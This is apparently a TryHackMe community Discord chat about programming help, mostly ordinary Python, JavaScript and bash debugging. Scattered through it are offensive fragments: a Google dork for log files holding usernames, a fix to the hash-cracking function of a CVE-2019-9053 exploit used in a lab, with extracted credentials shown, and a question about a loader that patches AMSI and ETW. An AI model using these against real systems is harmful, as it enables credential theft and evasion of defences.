q = https://www.google.com/search?q=
Then just append things you want on, for example
q += "xyz"
q += " Intext:usernames"
q += " filetype:log"
You could even have a dictonary of values which would probably be better
params = {
"filetype": "log",
"intext": "username",
}
for k, v in params.items():
q += f" {k}: v"
Then
import webbrowser
webbrowser.open(q)
Thank you so much @surreal bronze
Gave +1 Rep to @surreal bronze
Hi guys
I'm probably drowning in a glass of water but it's not working.
bash:
# Check if tun0 exisist
check=$(ifconfig | grep tun | awk '{print $1}' | sed 's/:/ /')
#echo "$check"
#test="tun0"
#y or n
if [["$check" == "tun0"]];
then
echo -e "${Green}Connected"
else
echo -e "${Red} Disconnected"
exit 1
fi
error: line 26 --> if [["$check
./THM_Connection.sh: line 26: [[tun0 : command not found
any tips
@robust wagon bash is pretty picky with if clauses. make sure you put a space before what you check and after the value you want to check.
if [[ "$check" == "tun0" ]];
though your way doesn't account for if there are multiple tunX found
was the space. thank you
you're welcome
what do the gcc flags -fPIC do? I can't find them in the manpage
It is in the manpage of gcc. It's used to genereate position-independant code.
https://manpages.ubuntu.com/manpages/kinetic/en/man1/gcc.1.html
thank you! now I only need to google what is position-independant code π€£
Gave +1 Rep to @whole yacht
you're welcome 
hmm so it seems that -fPIC is used on the Linux PrivEsc room only due to the fact that the linux machine is super old, right?
or is to avoid possible memory conflicts with other shared objects/libraries?...
Not really sure about that. Binary Exploitation is still magical to me.
I hope someone wise about this topic stumblies upon this chat
LD_PRELOAD ?
wdym
it's used in multiple tasks, ones not containing LD_PRELOAD as well
which room are you talking about
in simple terms, it just ensures that its position independent
think in terms of relative path versus absolute path
in memory that is?
yes
Merry Christmas to all!!!!
Is there a way to close the terminal after it has executed the command?
Bash:
gnome-terminal -- bash -c "openvpn THMopenvpn.ovpn"
I tried different solutions but without success
you can kill the process which it created
I forgot, the command runs inside a script
so I should follow a logic like
"grep gnome-..."
extract processID from result and kill the process
or is there a faster way?
pidof give you the ProcessID of all processes which have that name
For example kill -9 $(pidof -s bash) would kill the first listed instance of bash
it's work π

this is outputting
I have done research
and this attribute is supposed to be used to click links
sounds like you need to first assign browser.get(...) to a variable and then try to find the element.
that's not the issue here
@lilac holly https://stackoverflow.com/questions/66735222/attributeerror-webdriver-object-has-no-attribute-findelement
You sure you did some research?
This doesnβt look like itβs similar to my problem
It doesnβt seem to help at all actually
did you try it? what happened?
Yes but you didnβt research and youβve been told time and time again, weβre not doing your work for you. You need to Google, this is your last warning before you lose access to this channel
I have been programming a way to transfer my secondary YouTube account to my Primary YouTube account and I finally got the code working and transferring stuff over. Woohoo go programming skillz
Also go ChatGPT because I had it write half of the code that I was too tired to fully implement myself
@lilac holly in the future, you can use documentation
https://www.selenium.dev/documentation/webdriver/elements/finders/
Nice link , ty π
Gave +1 Rep to @proven talon
Made an multi-platform encryption GUI if anyone is in need π https://github.com/pwgit-create/FileEncryptGui_Java11
I'd look into something like Playwright as well
Thank you, it had to do with the newer version of selenium changing the syntax of it
Gave +1 Rep to @proven talon
Now itβs browser.find_element(βlink textβ, βclick meβ)
Which is a good update
In my opinion
does anyone know what this symbol mean?
place holder for a unicode char that is not in your font
nice, ty very much, was googling everywhere for this answer π
Gave +1 Rep to @inland hazel
not sure that is what it is but it is very likely
ah I see
try copying it and then placing it into https://unicode-table.com/en/ search page
Unicode web service for character search. Find, copy and paste your favorite characters: π Emoji, β€ Hearts, π² Currencies, β Arrows, β Stars and many others π©
gotcha, ty
it would then tell you what the char is supposed to be
no problem... and yeah it really is a great resource
yo who here wants to learn python3 together
hello i wanna learn computer science by myself what should i do there is no specefic answer
Do you want to learn computer science or programming?
@brazen eagle Do any of your groups use LotBC for java crypto?
Used the standard libraries most of the time
Fair enough - I'm asking because I wonder if it's a deeper dive to look into other than acknowledging the FIPS piece of it
Google isn't helping me much here though
What are your plans?
Tried to make a web crawler in shell scriptπΏ https://github.com/synacktraa/crawl
:hammer: DevSploits#8128 has been banned.
Please I will be offering computer science next year, can i get any tips so that i could prepare ahead.
Ask your question
where are you from? What level / qualification?
i have basic question in python like how to get multiple inputs in a same line but in array
i just do no were to put this split in input
10 20 30
for example input above
Oops, forgot to ask it it was homework π
how to get input as a array in same line in python
user_input = input('Enter input separate by a space: ').split()
But this will only take the user input as a string, you'll then have to do some casting with a for loop to convert the strings to integers if you're dealing with numbers
If you want strings then that's fine, nothing else is needed.
But this is heavily based on the user actually following the instructions, it's not very practical.
ohh thats what they meant
I wrote one out and deleted it as I wasn't sure if it was homework or not.
Happy New Year to all!!!
I can't fix the error.
I solved some problems on the print() function
I think I have identified the function that gives the error and also the line but I haven't quite figured out what to fix
I appreciate any advice
From:
Simple CTF Room
running CVE-2019-9053
Error
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[*] Try: 000000
Traceback (most recent call last):
File "/home/kali/THM/some.py", line 184, in <module>
crack_password()
File "/home/kali/THM/some.py", line 56, in crack_password
if hashlib.md5(str(salt) + line).hexdigest() == password:
TypeError: Strings must be encoded before hashing
The function in script
def crack_password():
global password
global output
global wordlist
global salt
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()
the input to hashlib.md5 needs to be encoded before it can does it magic. python3 does a little bit of trolling.
thanks for the tip
I found this ->
import hashlib
print(hashlib.md5("whatever your string is".encode('utf-8')).hexdigest())
then (not correct)
if ~~print(~~hashlib.md5(str(salt) + line).encode('utf-8').hexdigest()~~)~~ == password:
this one work on python3
if hashlib.md5((str(salt) + line).encode("utf-8")).hexdigest() == password:
you're welcome
print in an if statement doesn't really work out that well. Hope that was just a typo in discord.
π I saw.
IndentationError: unexpected indent
I think I need to encode before passing it to the if
inline works too but might look messy
but vulnerability scripts in Exploit-DB are broken on purpose so that they can't be used on the fly or is there some other reason?
Thanks for your helpπ
It can have multiple reasons to be broken.
some were written in python2 which can still be used but need either some modifications or a full rewrite.
There is no way to upload an updated or improved version, so as languages and libraries change the exploit scripts go out of date and stop working
i have to master skills a couple of programming languages ββthen. Thanks for the clarifications
thank you
Gave +1 Rep to @true pumice
`` let arr = [1, 5, 34, 2, 7, 9, 0, 32, 2];
let len = arr.lenght;
for(let i = 0; i < len ; i++){
if(arr[i] < 7){
console.log(arr[i]);
}
} ``
why there is no output?
it should be:
const arr = [1, 5, 34, 2, 7, 9, 0, 32, 2];
for(let i = 0; i < arr.length ; i++){
if(arr[i] < 7){
console.log(arr[i]);
}
}
no output
try my snippet? I didnt test it but should be good
ye that is working
is there any error in this?
that helps thank you! π
ok hang on π your snippet works fine, but you just made a typo haha
arr.lenght;
length
I guess so 
length is an annoying word to type, haha 8) I mess up all the time too
I would say to me its a bit unconventional to do it like this ( I always just use somearray.lenght in the for loop ) but its totally working π―
its time to give up on programming π
nooo you did great. What would help is to get an IDE that will notify you when making typos
for instance, my IDE will make red underlines under a typo like lenght so I can catch it right away
that way you dont have to be considered with that kind of thing as much π
actually I was working on replit I guess they dont tell us the errors
I guess so, I'm not familiar with that one specifically
are you doing JS specifically or do you also code in different langs?
I was working on a program for a friend and it involved making requests to a wordpress site which he was managing, I noticed when I sent a request using node-fetch it would work but on his end, when he checked the view count from the admin panel, the view count would not update, but when I used a headless browser it worked. So I thought maybe it was because of the user-agent, so using node-fetch I sent the request again but with my own browser's user-agent and again the view count didn't update.
Does anyone know what the reason for that could be?
Sorry, don't have any code to show, this was a while ago and I'm just asking out of curiosity
Counter might be incremented in JavaScript/with AJAX so that crawlers don't increment it
Try with a browser with the devtools open and look at the network requests
Probably a call to increment the counter
Oh I see
I'll check that out later then
ajax brings back a bad memory
i once made a "real time" chat site which used ajax in the background to refresh every 5 seconds to get new messages π
this was like maybe 2014
Would be using websockets these days π
Yep, didn't know about them back then
Then maybe a year or two after that I did make one using websockets but it was vulnerable to XSS π albeit only if you had admin permissions
Hey guys, I'm creating a Loader in Rust/C which loads an executable in memory. I'm trying to implement some ways to hide sus stuff by patching things like ASMI. My question here is, since the loader is written in C/Rust but might be used to run .NET executables, does it make sense to patch ETW as well?
I think that may be a question for #exploit-and-mal-studies
Lemme post it there
If I'm reading it right
someone with python and SQL knowledge here??
ask you question please π
i am working on a chat room project and i have created a database in order to save some information but i have a problem to connect python and sql in my code
Can u help>
?
What's the problem? Any specific errors?
Hello, I've been trying to learn java, the thing is most of the stuff is not free and even when I would be ok with paying they have outrageous prices for monthly subscription. I have tried edabit, codewars and leetcode, but I always seem to either find courses where you count integers with step by step instructions, or you use advanced functions with next to no instructions. Right now, I'm going to try w3schools, but does anyone have any good java course where I can learn meaningful stuff and not just counting to 10?
there are a ton of youtube videos about it.
I know, I just feel like hands on is a lot better. I have tried multiple video courses and I just could not watch 2 hours of videos, it had 0 value for me.
sadly hands on requires moneys because humans...
I would have no problem with that if they at least asked for normal amount of money.
Not 10$ if i take yearly and 39$ for monthly.
And I don't know if it's a me problem but leet codes easy problems are barely understandable for me.
java do be weird sometimes. Maybe you need some more practice or they just explain it badly.
Well I need java to graduate. I already did all the excercises that I need to graduate but since I have to learn it might as well learn it properly.
Also the second I am asked to do anything involving something.somethingelse I am lost since I am trying to bridge from scan, while, for, if to something more advanced.
Does this problem with learning exist elsewhere like python, or is this java exclusive?
w3 schools isn't really updated. My advice is to learn the logic using those basics, then pick a project you want to work on and use that as a basis to build more advanced knowledge.
Yes, I've heard that one, I'm just having a hard time bridging between basic functions and a fully working project.
Pick a project and start dividing it into pieces.
When you get stuck, that's pretty normal. Part of the benefit of learning to program in a classroom setting is the pressure of getting assignments done
Do you have any suggestions?
Any projects I give you, you won't be invested in. You'll make much better progress picking something you actually want to do
Ye well I still think I'm not even on the level to start thinking about a project. I can do loops and conditions. That's basically all.
that's enough to start with. You can do a lot with just iteration and branching.
ngl but I don't even know what iteration is, that's why I want to learn it somewhere.
Can I share name of project (website) which provides simple tasks for programming with tests?
So long as it isn't something used to cheat on assignments or otherwise violated academic ethical codes.
@quick void try CodeWars, they have simple small projects with tests. Basic functionality is free, like THM.
It's rather the opposite, they have their own honor code that forbids behavior like this
Tried that one too but ragequit it, gonna go at it again and start from the hello world task which I didn't notice at first.
Is this for school?
no I am learning JavaScript in micro verse level up I cant actually understand this problem that's why asking here
Well, it wants you to create an array,
loop over said array and check whether the current value that you are looping over in the array is any number between 3 or 7 (3, 4, 5, 6, 7) and output the value to console if it does
Fancy solution: use filter function https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter
That is not what the task asks you to do.
`` let arr = [3,10,9,5,2,11,7,15,12,4,1,13,6,14,8];
for( i = 3 ; i < 7 ; i++){
if(i > 7){
console.log(arr[i]);
}
} ``
good start
maybe?
If someone is learning, it's best not to throw complicated or potentially confusion concepts at them that would contradict their learning. @proven talon
I tried this but no output
That's an interesting point. You are right. It's not the best solution to learn basics. But in real case scenario, he would probably have to use something more advanced than basics
why "or", not "for"?
You're not looping over the array from what it looks?
You're looping over a set value
You need to get the length of the array and incorporate that in the for loop
it was a typo
Yes, but it's not "real world", users need to understand the basics before they progress.
If they don't understand the basic constructs, they can't use them effectively.
so what should I need to do then
Well, there's two ways.
You can manually get the value of the array and assign it to a variable, or you can use the forEach prototype
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array
its giving out an error
@gray zenith This website will show you every function and method that you can use on Arrays, I use it when programming JavaScript for our Discord bot π
For loops in JavaScript are a little tricky, it is important to look at the syntax.
for (condition) {
The condition is the length of time that the loop is going to run for.
So, in your case, you're creating a variable called i, and adding 1 to it every time until it is greater than 7.
let i = 3 // assign the variable
i < 7 // check whether the variable we assigned is less then 7
i++ // increment the variable by one
It's a shorter way of saying
let i = 3
if (i < 7) {
i = i + 1
} else {
stop execution
}
Step 1 you did correctly. Step 2 - you need to loop through an array. To do it, first you need to understand what is an array. Array is basically a set of objects (numbers, string etc.). Each object have an index. Indexation starts from 0. So to loop through an array, you need to check every element, starting from 0 to the end of the array (tip: you can check array size with "length" property, e.g. array name is "arr" (here and later without quotes in code), array size would be in "arr.length" variable). You can access array properties using index with this syntax: array[index], e.g. to access element with index 1 of array "arr", you can use "arr[1]", to access index n of the same array, you can use "arr[n]".
Now try to apply knowledge of loop from @true pumice 's message with knowledge of arrays and iterate (loop through) an array. To make it more exciting, output all the values that you iterated with console.log.
i like this place a lot. They don't hold your hand, but kind of point you in the right direction. They also offer free mentoring slots, so you can have your code reviewed by a real person
I'll look into it, thnx.
@gray zenith how is it going?
let arr=[3,10,9,5,2,11,7,15,12,4,1,13,6,14,8];
for( let i = 0 ; i <=arr.length ; i++){
if(arr[i]>=3 && arr[i]<=7){
console.log(arr[i]);
}
}
i think so its right
Nice. Just a bit of formatting and it will be perfect π
how should I print this outside the range of 3 to 7
@proven talon
don't use condition π
or change the condition
This is condition
if(arr[i]>=3 && arr[i]<=7){
...
}
there is no output
It's not a solution, it's a "condition" π Condition checks if code inside should be included or not. You can remove this part from your code and it will execute loop directly, unconditionally
Example:
arr = [1,2,3,4,5,33,55]
for(let i = 0; i < arr.length; i++){
if(arr[i] > 4){ // if it's more than 4
console.log(arr[i]);
}
}```
it's not a part of a loop statement
you can just remove it (condition part) @gray zenith
Another example, I want to print "hello" 10 times:
for(let i = 0; i < 10; i++){
console.log("hello");
}```
Or I want to print numbers from 0 to 9:
for(let i = 0; i < 10; i++){
console.log(i);
}
Any progress?
or do you mean that now you need to print all numers that outside of range, but not inside of it? In this case you should change condition part appropriately. Conditions are same as in math, like 2>1, 1000>200 etc.
@gray zenith check this stuff out:
Loops:
https://www.w3schools.com/js/js_loop_for.asp
Conditions:
https://www.w3schools.com/js/js_if_else.asp
I can make that only in python
if that works
for you
They are completing a JavaScript lesson π
Oh ok
Tbf I'd use filter in the real world. Makes the code easier to read, but I understand how it hides a lot of the logic behind, even if it's boilerplate
Consesus:
Learn loops, it's the most basic thing. In real-life scenario you should use solutions that fit better. Still you will need to use loops, but in another cases.
https://testing.googleblog.com/2022/02/code-health-now-youre-thinking-with.html
The point is for the learning exercise, though. I'm a big advocate of learn the mechanics under the hood, even if you never have to re-implement them in the real world
Totally agree
Was saying that if I saw a big ugly loop doing the same thing as a filter in review I'd write it up though
ah, fair
Has anyone made a logic bomb?
We dont' share or discuss malware outside of a few advanced channels.
Hello π
I am having some issues with a little Python3 program i am working on.
it is mainly for fun but to solve the Tasks on OSCP buffer overflow Pratice room.
The issue i have is getting output from a function that has the a for loop.
for x in range(1, 256):
print("\x" + "{:02x}".format(x), end='')
print():
Instead of it printing i want it sent to a variable. And it to be in its raw form. Because i tried copy paste and then it turns to ASCII and the exploit dosent work.
Any help will be much appreciated π
Try use something like
var = ""
var += "xyz" # equivalent to var = var + "xyz"
@surreal bronze can i DM you.?
I just didnt understand how to implement you solution π
for x in range(1, 256):
print("\x" + "{:02x}".format(x), end='')
print():
Instead of using the print(), add it to the variable with var += "contents"
I think you'll also need it in byte form with .encode()
Guys what you think learn Golang or Rust ?
Python3 is a bit wierd to print to console as well
Learn whichever works for your task
I just wane learn for speed thing up bc everyone knows that python is slow
Again it depends what for
For networking
For IO-bound tasks python is as fast as anything else
python2 is also better for networking i think
concatenation isn't the pythonic way to build strings - look into using formatted strings instead.
not sure exactly what you want to do with the formatted strings and the loop tbh.
Building strings tends to be very expensive and concatenation is basically copying a LOT of data, incrementally
If you have to loop and can't using the f"" formatted string, the .join() method is likely going to be the next fastest/efficient method
You'd have to loop because the value of X increments each time, which is why I went for the concatenation method
Interesting argumentation here: https://grski.pl/fstrings-performance.html
Few words on performance of f-string and string concatenations methods in Python.
using + and += is very inefficient, because it creates additional temporary, immutable objects of larger and larger sizes. .join() does not, it does something more like the Java StringBuilder class that only builds the final string at the end of the set of operations.
Huh, never knew that - ty
and if you are doing operations to build a list-based result, always consider using a list comprehension instead of a for loop
comprehensions are optimized under the hood for dealing with iterations and for loops are always going to be slower, assuming an equivalent comprehension can be done
Sorry. What channels is it acceptable in?
You will get access to those channels if you link your THM account here and get to level 0xD
thanks juun, had no idea. i just noticed those channels now that you've mentioned them π
Gave +1 Rep to @magic falcon
@vapid cloak where do you link your thm to discord?
!docs verify
Thank you!
I am verified 
One more question @magic falcon that level you referred to is that within scope of discord or thm
Where do I see my level and how far I am from 0xd
And to stay on topic of the channel: I recently had success with ChatGPT as a coding assistant, what other AI's are people finding useful? Explaincode.com I found to be better than replit, but worse than ChatGPT.
Replit I thought was really bad.
https://tryhackme.com/dashboard has your level and how far away you are from the next level.... 0xD is 20 000 points
Thanks
I am at 0x30x2, so I should be able to see these other channels in 5 days
reminder that the dashboard shows you next level and not current level in the field for the name of levels
does anyone know of any good references or documentation if i wanted to start writing tools for active directory attacks in c#?
Have you looked at the msdn docs?
I have a little but I didnt go through everything
0x2 to 0xD in 5 days? No way
I mean if you cheat, sure
how do you get 0xD?
keep going to level 13
oh ok
Hey guys, can somebody please help me by reviewing my code and let me know about the key points that can guide me towards the better and optimized solutions ?
Here's the repo: https://github.com/Himan10/SecurityPracticeTasks
Let's not define a function inside a function for starters
Should define a proper entry point
Especially if you want to use your class as a library
Needs more unit tests
I wonβt review, but I can recommend Refactoring.guru website as a great resource π. Itβs helped me improve my code a lot.
Yeah that site isn't bad
Omg, itβs so awesome. Ever since I found out about it Iβve been sharing it with everyone lol
Haha that's fair
I still have 9 minutes until lunch break is over. What sort of dev do you do hydragyrum?
Mostly backend on the JVM
Bit of front when I have to
Mostly debugging logs these days
Thatβs cool. Ughh, front end lol I feel your pain jk. I do PHP mostly and am full stack for my current company, so Iβm all too familiar with that. Definitely prefer back end.
What is this for?
-undelete -a
You know there's a really great piece of code I could push
Is this a problem solving repository? Looking for some coding challenges.
This repository contains some cipher encoding/decoding
so I was practicing some stuff, thought why not reviewed it by people
in that way, I can get some suggestions about optimization or let's say more better approach towards solving
Check the pins
Thanks.
Gave +1 Rep to @brazen eagle
Is there an important difference between:
This:
printf ("%s\n", m>=n && k>=n ? "Yes" : "No");
and this:
m>=n && k>=n ? printf ("Yes\n") : printf ("No\n");
(Language in question is C)
And is there a known preferable way in sense that one is commonly used over the other for some reason?
The first one is using ternary operator inside the printf call and the second one outside of the printf call, which is determining which call to make. Doesn't really matter; it's all personal convention.
In a nutshell, you're doing the cpu calculation inside or outside the printf call
That's about it
no big difference
the first call is formatting the string according to the calculation, the second one has hardcoded string which gets called conditionally
There is a difference, in terms of syntax but not in terms of object code (compiled code) or how it runs in the cpu
I believe both statements gets compiled to the same binary code, or just a slight difference
Yep, that's about it
hello I recently joined
welcome
I'd maybe check out what these compile to
I have this file structure:
monitoring/
output.py
service_data_retriver.py
tests/
test_output.py
output calls service_data_retriver with import:
import service_data_retriver
When calling pytest in the root I get:
ModuleNotFoundError: No module named 'service_data_retriver'
When I change it to:
from monitoring import service_data_retriver
Tests work but I can no longer call the program with python3 monitoring as it errors with:
ModuleNotFoundError: No module named 'monitoring'
What's the solution to this again? π€
Oh God, if Bee is asking for help we're all in trouble
Function IsTryHackMeRad {
$RAD = Invoke-Webrequest -Uri "https://tryhackme.com" -Method "GET"
If ($RAD) {
Write-Host "That's correct!" -Foregroundcolor Green
}
Else {
Return $False
}
}
Function Main {
[string]$UserInput = Read-Host "Is TryHackMe RAD?"
switch($UserInput) {
Yes {
IsTryHackMeRad
}
No {
Write-Host "You're wrong... Try again"
Main
}
}
}
Main
I presume you've tried pip install monitoring, make sure you have also used pip3 install monitoring or python3 -m pip install monitoring
Refresh your terminal environment source ~/.[env]rc or close and reopen your terminal. Make sure you didn't install it with sudo or else you have only installed the package as a super user (which usually isn't accessible by all users, depending on how you setup Python)
check your module imports in init.py
it is entirely a local package so pip installing wont do much π
I am incredibly stupid, right as you sent that message I realised
π€
importing local packages is always a pain, especially when dealing with modules that you are using as a lib from within the local python project
Bee if you zip and send me your files I'll test it on here, to see if it's an env issue
my init is empty, am i meant to put stuff into there?
i've solved this before it's very very annoying i hate this part of python
It depends. I've had to put stuff in when I was writing django apps, it all depends on how the modules need to be used
You shouldn't need to put anything in there if you're just importing a module
ahhh it is a take home test for a job interview, the actual code is written but it's just i can't figure out this one minor bug π’
sometimes the pathing for module location gets.... non-intuitive. with a heavily nested module structure, it seems that the module paths dont' always get inferred correctly
Are you referencing the folder when importing module?
In what bit of code? The tests or the actual program?
If I reference it in the program the tests work but calling the code fails π¦
it could also be a unit test config problem as well
In the actual program
so if i do from monitor import service_data_retriver (the folder is called Monitor which contains an init and a main) the tests work
However I can no longer python3 run the code:
$ python3 monitor/__main__.py
ModuleNotFoundError: No module named 'monitor'
$ python3 monitor
ModuleNotFoundError: No module named 'monitor'
I think this is because python3 goes "into" the folder so it can't actually view the monitor folder π¦
that sounds right. If CLI execution is correct, but it's not working in your tests, it's more than likely a pytest cfg problem instead
try feeding the absolutely path to pytest for the module location
aha!
python3 -m monitor
You need to tell python to run it as a module 
such a silly little bug, i always run into it π¦
thank you for helping me debug! π
Python is a mess
Ok a quick docker question since my head is spinning (I have been on this take home task for 11 hours π€’ )
CMD [ "poetry", "run", "python", "-m", "monitor" ]
would docker run temp/monitor:latest --average-cpu-and-memory pass that argument into the command to run?
i think it should do but also its failing:
docker: Error response from daemon: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: exec: "--average-cpu-and-memory": executable file not found in $PATH: unknown.
reread the docs on what docker run takes as the executable and flag argument arguments - my interpretation of what you're doing is attempting to run --average-cpu-and-memory as an executable instead of passing to the python script
You need entrypoint then
Otherwise it overrides cmd
Or the flag should be before the run if it's a docker argument
Or between the run and the image name
That's exactly what it's doing
Hello, I'm trying to design a vulnerable API for rate limiting and want to understand how one can implement rate limiting without being subject to race conditions
for e.g., it takes a coupon value and gives back some X amount of money. How do I implement rate limiting without someone abusing race conditions for it
ooohhh
TIL
Build a multi-stage Docker image from official Python images with support for Poetry projects. Source code on Github
ah
i think because i am using Poetry it's all a bit awkward
i shoulda used golang for this haha
someone here who could help me with a powershell-problem? Something like select-string to variable
I want select a part of a filename xyz_relevant-changing-part_zxy. I got the right regex and could select it out with select-string but i wont get $var = relevant-changing-part. I guess select-string isn't the right cmdlet i need
my $var will be the full path
You'd need to implement it in a thread safe way. Something like locks, or Go's channels work well.
If i understand correctly, to get the changing_part into var, you could just add a capturing group in your regex and then just extract that.
Something like
$var = $(echo "hello_there_mate" | select-string -Pattern "\w+_([a-z]*)_\w+").Matches.Groups[1].Value
hope it helps!
Thanks
yes this is something i need - great π
Gave +1 Rep to @elder ridge
Just like your life jk jk
Python is only for beginners
So when advanced people look at it they say wtf is this
This is wrong on many levels.
I think youβre massively over estimating my ability; Python just looks terrible
Ok why do I have an urge to develop an all in one web server application for:
- John the ripper
- NetCat (Or an alternative Iβm building)
- FTP/SMB Navigation
- Directory/Sub domain busting
- File Uploading/Downloading
- Nessus Scans (Or alternative)
- Active Directory Enumeration
- Shodan API
- Potentially BurpSuite tools
And anything else I can think of. WHY? Iβm horrific at coding web let along integrations to run on a serverβ¦ π
you might learn a lot during your struggle through implementing it all.
@true pumice
Huh?
Look at what the person said XD
James?
Ye
What about him..?
Bruh
He's not exactly wrong
Ye whatever
Maybe advance past 0x1 before being rude? π
Python is a beginner friendly language, does not mean it's only for beginners. It is actually used widely by many big organisations. If you fail to see it's potential, I would presume it's due to inexperience.
There are a number of very successful projects and products written in python. It's ubiquitous for a reason, and it's not because it's only useful for beginner level programmers.
It's also popular in data science circles for reasons that escape me
Useful for scripting though
pandas, numpy and tensorflow make the data science analysis relatively easy. Jupyter notebook in particular makes it accessible, even if it needs to to be strongly segmented into it's own landfill for production
every time i hear "we are deploying jupyter to the public cloud for ML reasons...." i shudder and have to remind myself that isn't my product
I need to test how exploitable that is
Some day
First I need to get Packer set up to create a base VM for me
it would actually be a good set of rooms, i think. There's a lot of stuff to deploy poorly
Yeah I know
It's on the to-do list
First I need to get my VM done, then finish certain doom, then finish supply and demand
I chucked this in general and realised probably more likely to be answered here:
I am running through some Python script building just to learn to build my own tools rather than the pre-mades. Course I was running through is Python2 but my kali is python3 and obviously can't read each other is it a waste of time to go through a Python2 coures and focus more on Python3 or are both valid?
focus on Python3. Python2 is no longer supported.
How much tools and scripts have been converted to Python 3?
not sure.
Not many
"Not very many" is the answer
My point.
Learning 2 should be useful and encouraged.
Learn the syntax and it's idioms, but don't use it in a new project
so run through the course doing the py2 way given in examples and then learn py3 thanks for your answers
Debating about using .format() or fstrings, normally I always use fstrings but in this case I think going for .format() makes it much more readable, are there any strong arguments against why I should use fstrings instead? For context,
params = {
"installsource": "scheduler",
"requestid": str(uuid.uuid4()),
"sessionid": str(uuid.uuid4()),
"machineid": '00'.zfill(32),
"oem": 'RM100-753-12345',
"appid": "98DA7DF2-4E3E-4744-9DE6-EC931886ABAB",
"bootid": str(uuid.uuid4()),
"current": version,
"group": "Prod",
"platform": "reMarkable2"
}
return """<?xml version="1.0" encoding="UTF-8"?>
<request protocol="3.0" version="{current}" requestid="{{{requestid}}}" sessionid="{{{sessionid}}}" updaterversion="0.4.2" installsource="{installsource}" ismachine="1">
<os version="zg" platform="{platform}" sp="{current}_armv7l" arch="armv7l"></os>
<app appid="{{{appid}}}" version="{current}" track="{group}" ap="{group}" bootid="{{{bootid}}}" oem="{oem}" oemversion="2.5.2" alephversion="{current}" machineid="{machineid}" lang="en-US" board="" hardware_class="" delta_okay="false" nextversion="" brand="" client="" >
<ping active="1"></ping>
<updatecheck></updatecheck>
<event eventtype="3" eventresult="2" previousversion=""></event>
</app>
</request>""".format(**params)
arguably fstrings is easier to more intuitively read as a human and it's supposed to be faster according to the benchmarks i've seen. If this is a once-every-so-often call, it's not a huge deal. if it gets called often enough to be a contributor to overall runtime, it may require another look
IIRC fstrings is also the most pythonic way of formatting strings
that said, if you are just replacing text, look into using a jinja2 file template as well
So I've been playing around with rust, and I've run into similar types of scope issues with Rust as I have with other GC languages. Anyone have a reasonable solution to temp storing user input passwords in memory? For a "secure memory" language, it doesn't have any std:: crates to handle secure data
It's only one time and makes it the variables a lot easier to see imo, even tho fstrings might by the pythonic way
What do you mean by securely storing user input?
Btw, rust doens't have a GC
